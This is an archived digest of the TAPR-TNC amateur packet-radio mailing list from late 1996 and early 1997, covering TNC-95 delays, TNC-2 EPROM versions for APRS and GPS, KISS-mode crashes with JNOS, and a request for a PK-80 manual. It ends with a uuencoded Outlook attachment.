To: "/RFC-822=tapr-tnc(a)tapr.org/OU=OSI-INTERNET/O=WALLACE/PRMD=IADPS/ADMD=ATTMAIL/C=US/"@osiint.dps.st
ate.ia.us
Importance: normal
Autoforwarded: FALSE
Message-Id:
<werl0923085245aa*/PN=Scott.C.Werling/O=wallace/PRMD=iadps/ADMD=attmail/C=us/@osiint.dps.state.ia.us>
P1-Message-Id: US*ATTMAIL*IADPS;IDPS3550 werl0923085245aa
UA-Content-Id: werl0923085245aa
P1-Content-Type: P2
Priority: normal
Received: from osiint.dps.state.ia.us by iadpshub.dps.state.ia.us; Mon, 23 Sep 1996 08:54 CDT
Content-Type: text
Content-Length: 25

set tapr-tnc mail digest
```

November 1996

Original source file: tapr-tnc.9611
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9611

1. 9600>pc $?

From: james muncy <oldhack@skyenet.net>
Date: Wed, 6 Nov 1996 07:38:28 -0500
To: tapr-tnc@tapr.org
Message-ID: <1.5.4.16.19961106073637.1c57fdda@skyenet.net>
Rendered body type: text/plain

```
Hi Guys and Gals,
        So.. what's the dits on the tnc-95?  Issue 63 PSR page 40
says Plugin TNC for PCs, page 41 says fits into the DSP-93 box.

Or should I look elsewhere for a affordable kissable tnc?

73,s

/*james muncy    KB9MNX         tool and die maker      oldhack@skyenet.net */
/*377 miami trl. bremen,in 46506                              219-546-4371 */
/*proudly running Helsinki '96     Linux-2.0.22                            */
/*Has anybody seen our old friend Tim Paterson of Seattle Computer Products?*/
```

2. RE: [TAPR-TNC:281] 9600>pc $?

From: David Stirrup <daves@aquasoft.com.au>
Date: Thu, 7 Nov 1996 13:25:29 +1100
To: "tapr-tnc@tapr.org" <tapr-tnc@tapr.org>,
        "'james muncy'"
 <oldhack@skyenet.net>
Message-ID: <01BBCCAF.25AF2900@syd2-ppp-099.tpgi.com.au>
Rendered body type: text/plain

```
Yes James,
A good couple of questions in need of an answer.

I have been holding off for 8 months now in upgrading my gear because I have been waiting for the
"imminent release" of TNC-95 that was supposed to be in Beta testing by a select group since January
'96.

I gave up asking about it from Greg Jones due to lack of response so I guess I am out of luck.

Given that it is just a Z180 SBC with a couple of SCC chips so I can't figure why the delay.  The design
 is not leading edge so maybe the code development is a problem. Maybe.

Hope you have better luck in receiving an answer than me.

All the best,

Dave Stirrup  VK2XDS
Sydney,  Australia


----------
From:  james muncy[SMTP:oldhack@skyenet.net]
Sent:  Wednesday, 6 November 1996 22:32
To:  tapr-tnc@tapr.org
Subject:  [TAPR-TNC:281] 9600>pc $?

Hi Guys and Gals,
        So.. what's the dits on the tnc-95?  Issue 63 PSR page 40
says Plugin TNC for PCs, page 41 says fits into the DSP-93 box.

Or should I look elsewhere for a affordable kissable tnc?

73,s

/*james muncy    KB9MNX         tool and die maker      oldhack@skyenet.net */
/*377 miami trl. bremen,in 46506                              219-546-4371 */
/*proudly running Helsinki '96     Linux-2.0.22                            */
/*Has anybody seen our old friend Tim Paterson of Seattle Computer Products?*/
```

3. Re: [TAPR-TNC:282] RE: 9600>pc $?

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Wed, 6 Nov 1996 20:59:24 -0600
To: tapr-tnc@tapr.org

Cc: w9ddd@tapr.org
Message-ID: <v03007813aea6feb4832f@[208.134.134.42]>
Rendered body type: text/plain

Bascially the hardware is completed. We are waiting for a time when Howie
can have time to port the TNC code over to an oprtational unit. The one
Howie has needs to be modofied in order to get fully functional, but he
needs to return it to John Koster to get the fixes made.

Since TAPR does not have control of the source for the TNC-2, it is out of
our hands at this time. I am hoping that John Koster and Howie will begin
a dialog on how they can get working units back and forth to get coded
operational on the unit. The dialog seems to have broken down during the
end of Spring.

Until then -- nothing we can do but sit back and wait.

Like many TAPR projects, the timeline depends on availabilty of time by
each volunteer. Howie has commercial projects going and I can fully
understand his lack of free time to work on even more code. When we
thought we would have it operational, there was a slip in the hardware due
to a volunteer problem and we missed Howie's open spot when he had time to
work on the code.

Until such time that code has been ported, money will not be released to do
a further run of boards.

Hope that helps to explain things. I don't remember getting a message from
you on the subject, so if it got lost sorry about that. I get a lot of
mail and a lot of it gets moved off to people to answer. If it was a
TNC-95 question, I most likely forwarded it on to John Koster, W9DDD who is
the project manager. If I get mail regarding a project, I typically don't
answer but forward it on to the project manager for answering. I wouldn't
have enough time in the day to answer everything I get -- hope you
understand.

There was a full blurb on the status of the TNC-95 a PSR or so ago.

Cheers - Greg, WD5IVD

>Yes James,
>A good couple of questions in need of an answer.
>
>I have been holding off for 8 months now in upgrading my gear because I
>have been waiting for the "imminent release" of TNC-95 that was supposed
>to be in Beta testing by a select group since January '96.
>
>I gave up asking about it from Greg Jones due to lack of response so I
>guess I am out of luck.
>
>Given that it is just a Z180 SBC with a couple of SCC chips so I can't
>figure why the delay. The design is not leading edge so maybe the code
>development is a problem. Maybe.
>
>Hope you have better luck in receiving an answer than me.
>
>All the best,
>
>Dave Stirrup VK2XDS
>Sydney, Australia
>
>
>----------
>From: james muncy[SMTP:oldhack@skyenet.net]
>Sent: Wednesday, 6 November 1996 22:32
>To: tapr-tnc@tapr.org
>Subject: [TAPR-TNC:281] 9600>pc $?
>
>Hi Guys and Gals,
>   So.. what's the dits on the tnc-95? Issue 63 PSR page 40
>says Plugin TNC for PCs, page 41 says fits into the DSP-93 box.
>
>Or should I look elsewhere for a affordable kissable tnc?
>
>73,s
>
>/*james muncy   KB9MNX   tool and die maker   oldhack@skyenet.net */
>/*377 miami trl. bremen,in 46506   219-546-4371 */
>/*proudly running Helsinki '96   Linux-2.0.22   */
>/*Has anybody seen our old friend Tim Paterson of Seattle Computer Products?*/

```
-----
Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----
```

December 1996

Original source file: tapr-tnc.9612
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9612

1. New WIN95 & WINNT PAcket Programs

From: ROSSOPOYLOS GEORGE <sv2agw@the.forthnet.gr>
Date: Thu, 12 Dec 1996 16:40:17 +-200
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BBE855.B5855920@ppp7.the.forthnet.gr>
Rendered body type: text/plain

[Empty message body]
[Attachment: sv2rq.txt; text/plain; 2,770 bytes]

---

2. Unsubscribe me please

From: Robert Aceti <bobace@inforamp.net>
Date: Thu, 12 Dec 1996 13:44:15 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19961212134413.00694a0c@inforamp.net>
Rendered body type: text/plain

Please let me unsubscribe from this list. I have tried before with no
success. Please let me know the protocol. Thank you for your advice.

Bob

At 10:00 AM 12/12/96 -0600, you wrote:
>
>
>
>   SV2AGW's NEW PACKET RADIO PROGRAM
>   ==================================
>
>A new era in packet radio programs is present!
>The new AGW Windows packet progragm written by SV2AGW-George.
>
>This program does anything a packet user would probably demand to and
runs
>only under Windows '95 and NT. It doesn't run under DOS.
>
>The whole program consists of the following programs:
>
>1) AGWPE.EXE "The Packet Engine" as SV2AGW calls it, is the TNC
driver
>   program.
>   This is the program in which we have to set the right TNC parameters.
>
>2) AGWFWD.EXE This program serves the Unattended mode forwarding, which is
the
>   automatic message transfer between us and the BBS.
>   Your presence in front of your PC, or at home, is not indispensable.
>
>3) AGWBBS.EXE carries the BBS list and our personal messages' list.
>
>4) AGWTERM.EXE is a terminal program, for real-time connections, with
anybody
>   we would like to connect to.
>   The same the program features binary transfer using YAPP.
>
>5) AGWCLUSTER.EXE for the automatic Cluster connection. We do not
have to
>   connect to the local Cluster manually. This is done automatically by
this
>   program.
>
>
>It is extremely easy to set up the program. Thus an istallation file is
not
>obligatory.
>
>Despite of its easy way of installation, SV2AGW says that his program is
made
>only for the "power user", that is the demanding user, the one who wants
all
>the programs he'd like to use simoultaneusly, in one single pack!
>

>The program works with any TNC that is connected to a Comm-Port, by
turning
>the TNCs in KISS mode.
>For the time being it does not work with Baycom-type modems, but
fortunately
>SV2AGW has plans for setting it up for them as well.
>
>The program is in public domain for Radioamateur use only and can
 be
>downloaded from Internet with a WEB browser at the following address:
>
>   http://www.forthnet.gr/sv2agw
>
>
>You can communicate with SV2AGW-George, as well, by sending him a message at:
>
>   SV2AGW@SV2RAM.TSL.GRC.EU
>
>
>You can also get the program by sending him two formatted 1,4 diskettes,
 an
>SASE envelope and 4 IRCs if sent from Europe, 8 IRCs outside Europe, at
his
>home-address:
>
>George Rossopoulos (SV2AGW)
>G. Mystakidi 49
>Thessaloniki-Macedonia
>GR-54250 GREECE
>
>
>Keep in touch with the Internet site we mentioned above, as SV2AGW has
dreams
>of writing more packet programs based upon NORD><LINK code supporting NODE
and
>DAMA operation, capable of PACSAT communications via this NODE.
>Shortly he will load up at that site his new LOGBOOK program for Win95 and
NT.
>His older LOGBOOK DOS-version is already there.
>
>----------------
>73 de sv2rq-Saki
>sv2rq@sv2ram.tsl.grc.eu
>
>
>

3. Addition to NEW WIN95 &WIN-NT Packet Programs!

From: ROSSOPOYLOS GEORGE <sv2agw@the.forthnet.gr>
Date: Fri, 13 Dec 1996 09:39:03 +-200
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>
Message-ID: <01BBE8D9.D6897320@ppp1.the.forthnet.gr>
Rendered body type: text/plain

Yesterday i sent a text file announcing my new WIN95 Packet Programs.
I would like to add that all the programs can run Simultaneously even with just
a TNC<>TRCVR. Of course you can have attached more than just a TNC<>TRCVR.
In my site there are also photos of the programs running.
http://www.forthnet.gr/sv2agw

73
GEORGE
SV2AGW@SV2DXC.TSL.GRC.EU
sv2agw@the.forthnet.gr

4. (no subject)

From: Clifford Buttschardt <cbuttsch@slonet.org>
Date: Mon, 23 Dec 1996 18:08:43 -0800 (PST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.GSO.3.95.961223180756.4669F-100000@oso.slonet.org>
Rendered body type: text/plain

Can someone reply to this? Greg suggested I ask this group. Thanks
Cliff K7RR

---------- Forwarded message ----------
Date: Sun, 22 Dec 1996 17:40:07 -0600
From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
To: Clifford Buttschardt <cbuttsch@slonet.org>

Subject: Re: mailto:wd5ivd@tapr.org

Hi Cliff.

We have a SIG that supports TNC issues. TAPR-TNC. They are the support guys to handle this question and probably better to join breifly and post there and get direct responses than have mt forward it around. Much better chance to get an answer from the larger group and I don't have to play middle man.

Cheers - Greg

>Greg,
> Pass this on to someone else that can answer these questions pse:
>I am told that a change in EEPROM is necessary to allow the TNC-2 to
>operate on APRS. The information I have is that an EEPROM after March 12,
>94 will work. Fine, BUT the EEPROMS I have now is identified as 1.1.7
>The sig definitely indicates 1.1.9 will work but will 1.1.8 work OK?
>   Also, can any of these EEPROMS be used in MFJ equipment, say an
>MFJ 1274 to upgrade to GPS?   thanks Cliff K7RR <cbuttsch@slonet.org>

Greg Jones, WD5IVD
Austin, Texas
wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----

5. re: [TAPR-TNC:287]

From: rbenny@cbcph.navy.mil
Date: Tue, 24 Dec 96 8:34:43 PST
To: tapr-tnc@tapr.org
Message-ID: <vines.zY49+XM+kmA@bansmtp.cbcph.navy.mil>
Rendered body type: text/plain

Cliff. If the SIG group says that 1.1.9 works, they probably are saying that anything earlier does not work. All you can do is try it if you have one. Otherwise, you will have to get a newer eprom.

If the MFJ 1274 is a true TAPR 2 clone, then the eprom will work in it. Check your manual or call MFJ and ask.

Ray, N6VR

Original Text
From: cbuttsch@slonet.org, on 23-12-96 8:12 PM:
Can someone reply to this? Greg suggested I ask this group. Thanks
Cliff K7RR

---------- Forwarded message ----------
Date: Sun, 22 Dec 1996 17:40:07 -0600
From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
To: Clifford Buttschardt <cbuttsch@slonet.org>
Subject: Re: mailto:wd5ivd@tapr.org

Hi Cliff.

We have a SIG that supports TNC issues. TAPR-TNC. They are the support guys to handle this question and probably better to join breifly and post there and get direct responses than have mt forward it around. Much better chance to get an answer from the larger group and I don't have to play middle man.

Cheers - Greg

>Greg,
> Pass this on to someone else that can answer these questions pse:
>I am told that a change in EEPROM is necessary to allow the TNC-2 to
>operate on APRS. The information I have is that an EEPROM after March 12,
>94 will work. Fine, BUT the EEPROMS I have now is identified as 1.1.7
>The sig definitely indicates 1.1.9 will work but will 1.1.8 work OK?
>   Also, can any of these EEPROMS be used in MFJ equipment, say an
>MFJ 1274 to upgrade to GPS?   thanks Cliff K7RR <cbuttsch@slonet.org>

Greg Jones, WD5IVD
Austin, Texas

wd5ivd@tapr.org
http://www.tapr.org/~wd5ivd
-----

6. Re: [TAPR-TNC:288] re:

From: Clifford Buttschardt <cbuttsch@slonet.org>
Date: Tue, 24 Dec 1996 11:55:46 -0800 (PST)
To: rbenny@cbcph.navy.mil
Cc: tapr-tnc@tapr.org
Message-ID: <Pine.GSO.3.95.961224114636.11795C-100000@oso.slonet.org>
Rendered body type: text/plain

Thanks Ray for the answer. Stan Hortzepa indicated that three commands must exist in the command structure for GPS to operate. These are: NMeabcn, NMEAFLT1, and NMEAFLT2. Without changing EEPROMS, there was no way of knowing. Howie just replied and indicated that ONLY 1.1.9 contained these commands.

What really is confusing is the information that firmware after March 12, 1994 was suitable for GPS. There is now way to know when these chips were released, so I had to ask the question!

From what Howie indicated the MFJ 1274 is so old that the 1.1.9 chip probably will work as well. In fact, that unit is so old that MFJ will not even admit to knowing about it! thanks Cliff K7RR

7. Re: [TAPR-TNC:289] re:

From: "L. J. Shepherd" <ljs@west.net>
Date: Tue, 24 Dec 1996 18:16:06 -0800 (PST)
To: tapr-tnc@tapr.org
Message-ID: <199612250216.SAA11967@acme.sb.west.net>
Rendered body type: text/plain

Hi Cliff: I've used the 1.1.9 eprom with good success in the MFJ TNC's for APRS..... JIM K6OYY
'

At 02:06 PM 12/24/96 -0600, you wrote:
>Thanks Ray for the answer. Stan Hortzepa indicated that three commands
>must exist in the command structure for GPS to operate. These are:
>NMeabcn, NMEAFLT1, and NMEAFLT2. Without changing EEPROMS, there was no
>way of knowing. Howie just replied and indicated that ONLY 1.1.9
>contained these commands.
> What really is confusing is the information that firmware after
>March 12, 1994 was suitable for GPS. There is now way to know when these
>chips were released, so I had to ask the question!
> From what Howie indicated the MFJ 1274 is so old that the 1.1.9 chip
>probably will work as well. In fact, that unit is so old that MFJ
>will not even admit to knowing about it! thanks Cliff K7RR
>
>
>
>

8. MFJ-1270C/JNOS 110L Crashing

From: bytheway@aa6ed.ampr.org (Bill Bytheway)
Date: Wed, 25 Dec 96 16:12:38 UTC
To: tapr-tnc@tapr.org
Message-ID: <10932@aa6ed>
Rendered body type: text/plain

I'm experiencing a problem running an MFJ-1270C and MFJ-1270B in conjunction with JNOS110L. A third AEA PK-88 does not seem to have the problem at all. The problem is that after a day or so the TNC's lock up or dump out of KISS mode for no apparent reason. The TNC's are used 24 hours a day, connected to my 386-33 computer running Windows 3.1 for Workgroups, 16550 UARTs and JNOS TCP/IP software. Traffic on the MFJ LAN's is considered to be very light compared to my other ports using an AEA PK-88, but I have duplicated the problem by increasing the TX data volume during testing.

Powering down the TNC brings it back up in the CMD mode, which doesn't make sense since it is on battery backup. All parameters show factory settings after a failure. The length of time the TNC stays up before crashing seems to be related to transmit loading, receive doesn't seems to bother it, but eventally it will fail within 12 to 24 hours.

Since the problem occurs on two different units, two different

EPROMS, I can only figure that there is something common about
the MFJ KISS code that is not compatible with JNOS.

The only other time I have seen something like this is when the
TNC transmit buffer overflows, and supposedly this problem was
fixed years ago (at least on AEA products).

Has anyone seen this with other MFJ products? Is there a work
around (besides installing a KISS only EPROM)?

_____
73's from AA6ED William H. Bytheway
Ham E-Mail : aa6ed@aa6ed.ampr.org   Internet   : bytheway@mail.prostar.com
Fone BBS   : (206) 271-4657   WEB Site   : http://aa6ed.ampr.org

9. Re: [TAPR-TNC:291] MFJ-1270C/JNOS 110L Crashing

From: n8ivx@onebellevue.com (Steve Goff)
Date: Wed, 25 Dec 1996 23:22:35 -0500
To: tapr-tnc@tapr.org
Message-ID: <2.2.32.19961226042235.006d6818@[38.249.11.2]>
Rendered body type: text/plain

At 03:35 PM 12/25/96 -0600, William H. Bytheway wrote:

>Since the problem occurs on two different units, two different
>EPROMS, I can only figure that there is something common about
>the MFJ KISS code that is not compatible with JNOS.
>
>The only other time I have seen something like this is when the
>TNC transmit buffer overflows, and supposedly this problem was
>fixed years ago (at least on AEA products).
>
>Has anyone seen this with other MFJ products? Is there a work
>around (besides installing a KISS only EPROM)?

One method I have used in the past is to make the jnos reboot every 24 hours
with an "at" command. In my autoexec.nos, I used the "comm" command to have
the autoexec.nos file place the tnc's in kiss mode. Since this was rather
troublesome for some of my users, I eventually placed KISS eproms in all my
tnc's. Makes things work much easier! Of course, it helps to own an eprom
burner... I can burn some if needed...

---
73 de Steve
NWOH Coordinator, Ohio Area Repeater Council, Inc.
Packet: N8IVX@N8IVX.#NWOH.OH.USA.NOAM
AmprNet: n8ivx@n8ivx.ampr.org [44.70.177.32]
E-Mail: n8ivx@onebellevue.com
Web: <http://www.onebellevue.com/n8ivx/> OR
         <http://38.249.11.2/n8ivx/>

January 1997

Original source file: tapr-tnc.9701
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9701

1. Periodic announcement

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Wed, 1 Jan 1997 00:00:02 -0500
To: tapr-tnc@tapr.org
Message-ID: <199701010500.AAA02031@penny.n2wx.ampr.org>
Rendered body type: text/plain

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 2 Oct 96

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. (no subject)

From: Per Molund <per@proact.no>
Date: Sun, 5 Jan 1997 00:02:28 +0100 (MET)
To: tapr-tnc@tapr.org
Cc: per@proact.no
Message-ID: <199701042302.AAA15461@uncle.link.no>
Rendered body type: text/plain

I am in the process of upgrading an very old TNC-2 clone (Paccom TNC-200)
from software release 1.1.2
to 1.1.9 together with the XR2211 DCD modification (both ordered from TAPR,
but not received yet). This
unit had for some reason the 32 KB RAM installed so I thought no other
upgrades should be required.
However, today I browsed thru some files at the TAPR ftp site and found a
EPROM image for the state
machine with the revision level 1.0.9 together with the 1.1.8a software
release. In this old unit the state
machine is level 1.0.2 so some questions come to mind:

- Can software release 1.1.9 and the DCD modification be used together with
state machine release 1.1.2?

- If so, what would I gain from upgrading state machine to release 1.1.9 (if
this is the latest and greatest)? or
   is the state machine bound to the PCB revision?

I have looked thru both the XR2211 DCD modification documentation and the
software release 1.1.8a
documentation but could not find any mention of the state machine releases,
so I hope someone can
explain this to me.

regards,

Per Molund - LC3WAT
per@proact.no

3. [TAPR-TNC:294]

From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Sat, 4 Jan 1997 19:18:49 -0500
To: tapr-tnc@tapr.org
Message-ID: <199701050018.TAA03150@penny.n2wx.ampr.org>
Rendered body type: text/plain

Per Molund writes:
 > - Can software release 1.1.9 and the DCD modification be used together with
 > state machine release 1.1.2?

Yes. 1.1.9 is not dependant upon state machine release. Note however
that 1.1.9 does not include any provisions for a software DCD so you
will have to arrange for some kind of hardware-provided DCD, be it the
modified one or the output from the new state machine.

 >
 > - If so, what would I gain from upgrading state machine to release 1.1.9 (if
 > this is the latest and greatest)? or
 >   is the state machine bound to the PCB revision?

I don't believe there is a gain (nb., I'm assuming the PacComm unit is
close to an exact TNC-2 clone except for the modem). In so far as I
know the benefit of the state machine upgrade was better "simulated
DCD" performance. As you are now using the preferred DCD technique,
real DCD, the state machine upgrade won't make a difference.

4. Re: [TAPR-TNC:294]

From: "Harry Burford" <hburford@airmail.net>
Date: Mon, 6 Jan 1997 10:11:17 -0600
To: <tapr-tnc@tapr.org>
Message-ID: <m0vhNvU-0000vzE@mail.airmail.net>
Rendered body type: text/plain

I, too have a couple of TNC-200's built from kits a VERY long time ago.
You can order EPROMs direct from PacCOMM. I think the ROM from a Tiny-2
will work in the TNC-200, but you will loose the ability to adjust the
MODEM pots as the commands to do that aren't in the Tiny code. I have my
TNC's loaned out right now, I'll let you know what state machine code they
have when I get a chance to look. I also got the DCD mod, but again
haven't had a chance to install them.

Be sure to post the results of your quest.

hburford@airmail.net

> From: Per Molund <per@proact.no>
> To: tapr-tnc@tapr.org
> Subject: [TAPR-TNC:294]
> Date: Saturday, January 04, 1997 5:08 PM
>
> I am in the process of upgrading an very old TNC-2 clone (Paccom TNC-200)
> from software release 1.1.2
> to 1.1.9 together with the XR2211 DCD modification (both ordered from
TAPR,
> but not received yet). This
> unit had for some reason the 32 KB RAM installed so I thought no other
> upgrades should be required.
> However, today I browsed thru some files at the TAPR ftp site and found a
> EPROM image for the state
> machine with the revision level 1.0.9 together with the 1.1.8a software
> release. In this old unit the state
> machine is level 1.0.2 so some questions come to mind:
>
> - Can software release 1.1.9 and the DCD modification be used together
with
> state machine release 1.1.2?

>
> - If so, what would I gain from upgrading state machine to release 1.1.9
(if
> this is the latest and greatest)? or
>   is the state machine bound to the PCB revision?
>
> I have looked thru both the XR2211 DCD modification documentation and the
> software release 1.1.8a
> documentation but could not find any mention of the state machine
releases,
> so I hope someone can
> explain this to me.
>
> regards,
>
> Per Molund - LC3WAT
> per@proact.no
>

5. Re: Help with PK - 80

From: dyannah@juno.com (Pamela J Mikos)
Date: Thu, 16 Jan 1997 11:31:22 PST
To: Tapr-Tnc@tapr.org
Message-ID: <19970116.113126.7743.1.Dyannah@juno.com>
Rendered body type: text/plain

Is there anyone out there that can help me with a PK - 80 TNC?. I
purchased the unit at a hamfest and the owner lost all paperwork during
a move. I need to get the setup / operations manual for the PK - 80.

I need to know how to set the internal jumpers and the external 8 -
position dip-switch that is mounted on the back, I also need to know how
to wire the plug for the radio. There are also three dip sockets that
have plug-in headers that have a combination of resistors and capacitors
on them.

 I would really like to get this unit operational as I have a very
limited amount of funds at this time, and the purchase of a new unit is
out of the question. I can get the unit to come up on the computer screen with the following message:

Advanced Electronic Applications, Inc
AEA PK - 80 Packet Controller
AX.25 Level 2 Version 2.0
Release 1.1.2   12/03/85
Checksum $02

I would appreciate any help on setting this up, the manual would nice to
have and so would a schematic and pictorial of the PCB.

 BTW, the serial number on the unit is 373. I wish to thank anyone that
can help in advance for there time and consideration in this matter.

Pamela Mikos
32 Prospect St.
Spencer, Ma. 01562 - 2570

6. RE: [TAPR-TNC:297] Re: Help with PK - 80

From: Gwyn Reedy <gwyn@paccomm.com>
Date: Thu, 16 Jan 1997 14:43:03 -0500
To: "'tapr-tnc@tapr.org'" <tapr-tnc@tapr.org>,
        "'dyannah@juno.com'"
 <dyannah@juno.com>
Message-ID: <01BC03BB.95ADE320@gwyn>
Rendered body type: text/plain

The PK-80 is basically a TAPR TNC-2. The documentation regarding switches and jumpers should be
identical.

Gwyn Reedy, W1BEL
PacComm Packet Radio Systems

gwyn@paccomm.com
http://www.paccomm.com

From: Pamela J Mikos[SMTP:dyannah@juno.com]

Sent: Thursday, January 16, 1997 5:39 AM
To: tapr-tnc@tapr.org
Subject: [TAPR-TNC:297] Re: Help with PK - 80

Is there anyone out there that can help me with a PK - 80 TNC?. I
purchased the unit at a hamfest and the owner lost all paperwork during
a move. I need to get the setup / operations manual for the PK - 80.

I need to know how to set the internal jumpers and the external 8 -
position dip-switch that is mounted on the back, I also need to know how
to wire the plug for the radio. There are also three dip sockets that
have plug-in headers that have a combination of resistors and capacitors
on them.

 I would really like to get this unit operational as I have a very
limited amount of funds at this time, and the purchase of a new unit is
out of the question. I can get the unit to come up on the computer screen with the following message:

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AEA PK - 80 Packet Controller
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Release 1.1.2   12/03/85
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I would appreciate any help on setting this up, the manual would nice to
have and so would a schematic and pictorial of the PCB.

 BTW, the serial number on the unit is 373. I wish to thank anyone that
can help in advance for there time and consideration in this matter.

Pamela Mikos
32 Prospect St.
Spencer, Ma. 01562 - 2570


```
begin 600 WINMAIL.DAT
M>)\^(@83`0:0" `$`````````!``$``0>0!@`(````Y 0````````#H``$(@ <`
M& ```$E032Y-:6-R;W-O9G0@36%I;"Y.;W1E`#$(`0V ! `"`````@`"``$$
MD 8`9 (```(````,`````P``, ,````+``\.``````(!_P\!````00``````
M``"!*Q^DOJ,0&9UN`-T!#U0"`````'1A<'(M=&YC0'1A<'(N;W)G`%--5% `
M=&%P<BUT;F- =&%P<BYO<F<`````'@`", $````%````4TU44 `````>``,P
M`0```!(```!T87!R+71N8T!T87!R+F]R9P````,`%0P!`````P#^#P8````>
M``$P`0```!0````G=&%P<BUT;F- =&%P<BYO<F<G``(!"S !````%P```%--
M5% Z5$%04BU43D- 5$%04BY/4D<```,``#D`````"P! .@$````"`?8/`0``
M``0````````##0````,``# $````"P`/#@$````"`?\/`0```#\`````````
M@2L?I+ZC$!F=;@#=`0]4`@```0!D>6%N;F%H0&IU;F\N8V]M`%--5% `9'EA
M;FYA:$!J=6YO+F-O;0``'@`", $````%````4TU44 `````>``,P`0```!$`
M``!D>6%N;F%H0&IU;F\N8V]M``````,`%0P!`````P#^#P8````>``$P`0``
M`!,`````G9'EA;FYA:$!J=6YO+F-O;2<```(!"S !````%@```%--5% Z1%E!
M3DY!2$!*54Y/+D-/30````,``#D`````"P! .@`````"`?8/`0````0`````
M```$`@'Y#P$````_`````````($K'Z2^HQ 9G6X`W0$/5 (```$`9'EA;FYA
M:$!J=6YO+F-O;0!33510`&1Y86YN86A :G5N;RYC;VT```QQ`02 `0`I````
M4D4Z(%M405!2+51.0SHR.3==(%)E.B!(96QP('=I=&@@4$L@+2 X, #T"@$%
M@ ,`#@```,T``0`0``X`*P`#``0`)0$!(( #``X```#-!P$`$ `.`"H````$
M`"$!`0F `0`A````,D0P,#DW0S@V039&1# Q,3A%03(P,#0P,#4R1D9%-4$`
M' <!`Y &`#@````4````"P`C```````#`"8```````L`*0```````P`N````
M```#`#8``````$ `.0"@'GU\Y0.\`1X`< `!````*0```%)%.B!;5$%04BU4
M3D,Z,CDW72!293H@2&5L<"!W:71H(%!+("T@.# ``````@%Q``$````6````
M`;P#Y7Q]R)<`+FJJ$=".H@! !2_^6@``'@`>#  $````#````35,``!X`'PP!
M````$@```%=I;F1O=W,O1W=Y;B]'=WEN`````P`&$/P3(LH#``<0WP0``!X`
M"! !````90```%1(15!++3@P25-"05-)0T%,3%E!5$%04E1.0RTR5$A%1$]#
M54U%3E1!5$E/3E)%1T%21$E.1U-7251#2$5304Y$2E5-4$524U-(3U5,1$)%
M241%3E1)0T%,1U=93E)%1419+%<``````@$)$ $```"@!0``G 4``#4*``!,
M6D9UUU/!CO\`"@$/`A4"I /D!>L"@P!0$P-4`@!C: K <V5T;C(&``;#`H,R
M`\4"`'#<<G$2( <3`H,S`\83Z#(T%)]F-1,,!K!S='1E;0* ?0J ",\)V3OQ
M&2\R-34"@ J!#;$+8.!N9S$P,Q2 "PH2\@4,`6,`0"!4:&4@0%!++3@P( 0`
M(!1B80"08P= ;'D@(F$>`$%04AX`3D,(+3(N'@-D;V-UHP> `C!A=&D"(" 9
M,*9G"Q$+@&<@`^%T$;"C!Y$`<&0@:B#0< 20J00@<V@(8&PBT&(>,.YI#; "
